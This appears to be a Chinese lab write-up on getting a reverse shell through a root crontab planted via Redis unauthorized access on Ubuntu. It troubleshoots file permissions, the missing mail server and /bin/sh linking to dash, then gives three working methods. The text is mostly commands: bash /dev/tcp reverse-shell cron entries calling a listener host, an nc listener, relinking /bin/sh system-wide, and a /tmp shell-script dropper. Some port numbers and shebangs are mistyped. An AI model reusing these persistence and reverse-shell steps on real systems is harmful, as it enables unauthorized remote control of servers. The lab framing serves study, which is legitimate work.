事情源于自,我利用redis未授权访问漏洞在向ubuntu的/varspool/cron/crontabs目录下创建的任务计划文件去反弹shell时,发现shell并不能反弹到自己的centos2上
(1)在ubuntu中进入/var/spool/cron/crontabs/目录
bash
cd /var/spool/cron/crontabs/
(2)新建一个名为root的任务计划文件
bash
touch root
注:root文件的权限必须是600,否则会出现错误影响后面的实验
(3)编辑内容
bash
* * * * * '/bin/bash -i >& /dev/tcp/192.168.159.201/123456 0>&1'
(4)在centos2上监听着 12345端口
bash
nc -lvvp 12345
这时按道理来说我们监听了后就应该回弹的,这里等待了一会后并没有回弹
(5)现在查看日志
bash
tail -l /var/log/syslog
Sep 26 09:18:01 ubuntu-virtual-machine cron[568]: (root) INSECURE MODE (mode 0600 expected) (crontabs/root)
通过日志我们可以发现权限644有问题
(6)现在尝试给root文件授权为600
bash
chmod 600 root
这时还是并没有回弹
(7)现在就还尝试将root文件删除后,直接在创建时授权为600
bash
root@utuntu000:/var/spool/cron/crontabs# rm -rf root
root@utuntu000:/var/spool/cron/crontabs# touch root
root@utuntu000:/var/spool/cron/crontabs# chmod 600 root
然后给root中再次编辑内容
(8)然后再次尝试回弹
这时还是并没有回弹
(9)这是再次去查看报错日志
bash
tail -l /var/log/syslog
这一条,我们之所以反弹失败,和这句话有很大的关系,百度一番后,大概的意思就是我们任务计划中的命令执行如果出现了错误,ubunti会将这些错误信息去输出到ubutu系统的邮件服务器,但是由于ubuntu系统默认没有安装邮件服务器,所以导致了这个错误
(10)修改任务计划文件为
bash
* * * * * '/bin/bash -i >& /dev/tcp/192.168.159.201/12345 0>&1' >/tmp/error.txt 2>&1
//将错误输出到指定文件夹
(11)现在去查看 /tmp/error.txt文件查看报错信息
bash
tail /tmp/error.txt
这里的错误表示:执行它的/bin/bash没有被找到,因为这个文件是使用/bin/sh执行的
可以使用ls -al查看/bin/sh,发现/bin/sh 是dash的一个软连接
(12)解决方案
方法1:修改软连接的指向为/bin/bash
bash
ln -s -f bash /bin/sh
并且将root文件修改为:
bash
* * * * * '/bin/bash -i >& /dev/tcp/192.168.159.201/12345 0>&1'
注:为什么centos就没有这个问题,因为centos默认的处理方式就是/bin/bash
现在再次尝试反弹
就可以看到成功的反弹了
方法2:就是避免在cron文件里面去使用bash这个shell,我们可以另外的去建立一个反弹shell脚本文件,然后去任务计划里面直接调用这个脚本文件
shell脚本文件如下,名为tmp/test.sh
bash
#!bin/bash
/bin/bash -i > &/dev/tcp/192.168.159.201/12345 0>&1
然后为test.sh加上执行权限
bash
chmod +x /tmp/test.sh
之后任务计划里面的内容修改为
bash
* * * * * /tmp/test.sh
最后尝试反弹
可以看到成功的反弹了shell
方法3:直接使用sh
修改文件为
bash
*/1 * * * * bash -c '/bin/bash -i >& /dev/tcp/192.168.159.201/123456 0>&1'
不用修改链接指向,直接在sh下执行bash -c
可以看到已经成功的弹窗了!